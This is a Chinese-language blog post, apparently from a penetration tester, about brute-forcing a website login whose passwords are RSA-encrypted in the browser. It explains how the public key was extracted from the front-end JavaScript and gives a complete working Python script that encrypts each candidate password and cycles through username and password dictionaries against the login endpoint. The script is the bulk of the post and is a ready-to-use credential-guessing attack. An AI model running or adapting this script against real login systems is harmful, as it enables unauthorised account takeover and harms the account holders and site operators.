背景:
在对某网站进行安全测试的时候,发现登录密码是加密的,而且同一密码每登录一次生成的密文都不相同,用Burp对登录接口进行重放,发现并没有什么限制,由此初步推断是可以进行暴力破解的。但是由于密码是加密的,使用Burp的暴力破解模块无能为力,于是自己用Pyhon编写了个暴力破解的脚本。
分析:
在用Burp对登录接口进行重放时,删除了一些参数,都未对响应结果产生影响。由此推断,要暴力破解,只需搞定密码是怎么加密的然后模拟加密就OK了。其实从加密字符串的长度以及每次加密结果不同就可以初步推断这应该是非对称加密。再大胆点推测,这就是RSA加密。
谷歌开发者工具简单分析前端JS
1、点击“登录”按钮时密码会自动变长(加密),同时执行登录。由此可以判断加密是在“登录”这个按钮的点击事件上执行的函数。
2、找到onclick事件的函数,在右侧的Event Listeners选项卡找到这个事件所在的JS文件。
3、在该页面搜索点击事件的函数
4、找到RSA公钥及依赖JS库
模拟登陆
要模拟登陆,我使用了两种方法:
1、把加密所需要的JS文件都提取出来,用Python操作JS去执行加密,然后把加密后的字符串提取出来,再用Python进行登录。然而此例的JS代码量比较大,用浏览器模拟加密时没有问题。而用Python去操作JS容易出错(我没成功)而且效率低下,于是使用下面第二种方法。
2、用Python进行RSA加密然后再模拟登录。今天的代码就是这种方法模拟登录进行暴力破解。
代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# @Time :2020/1/16 10:29
# @Author :Donvin.li
# @File :rsalogin.py
import rsa
import requests
#import threading
# proxies = {'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'}
def login(usr,psd):
passd=get_rsa_result(psd)
s=requests.session()
headers={'Host': 'e.xxxx.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://e.xxxx.com',
'Connection': 'close',
'Referer': 'http://e.xxxx/portal/',
}
postdata={'lang':'cn','userid':usr,'pwd':passd,'cmd':'CLIENT_USER_LOGIN','sid':'','deviceType':'pc','_CACHE_LOGIN_TIME_':'1579162050273','pwdEncode':'RSA','timeZone':'-8'}
url='http://e.xxxx.com/portal/r/jd'
rs=s.post(url,postdata,headers=headers)
result=rs.text
if 'error' not in result:
print('Login sucessful:'+usr+':'+psd)
else:
print('Not this!')
def get_rsa_result(content):
"""
根据 模量与指数 生成公钥,并利用公钥对内容 rsa 加密返回结果
:param e:指数
:param n: 模量
:param content:待加密字符串
:return: 加密后结果
"""
n = "8bcbceb956d3d6c0da8cd8847e50796eac0fb3d67d4901820fa85dcd8edbb30bd25966eb18223e1ace1308da181897df4559bf97cca6ae9a33a0baf6f53324334a385d2a7cbc186fb5070045080b6c948423e7ddcd795ac9eaa438317772f4a948409ecec92dfe222a10b4c327e8d0e494cc0aa42ebc786030a105da0637049d"
e = "10001"
e = int(e, 16)
n = int(n, 16)
pub_key = rsa.PublicKey(e=e, n=n)
m = rsa.encrypt(content.encode(), pub_key)
#print(m.hex())
return m.hex()
def Brute(ufile,pfile):
userfile=open(ufile,'r')
passdfile=open(pfile,'r')
for user in userfile:
usr=user.strip()
passdfile.seek(0)
#print(usr)
for passd in passdfile:
psd=passd.strip()
#print(usr,psd)
login(usr,psd)
if __name__ == '__main__':
Brute('u.txt','p.txt')
使用
u.txt是用户名字典,p.txt是密码字典。
本例没有通用性,代码量也非常少,可作为RSA加密登录的暴力破解方法的参考,当然,一些环境中无论是加密还是登录都比这个可能要复杂。关键是分析前端JS。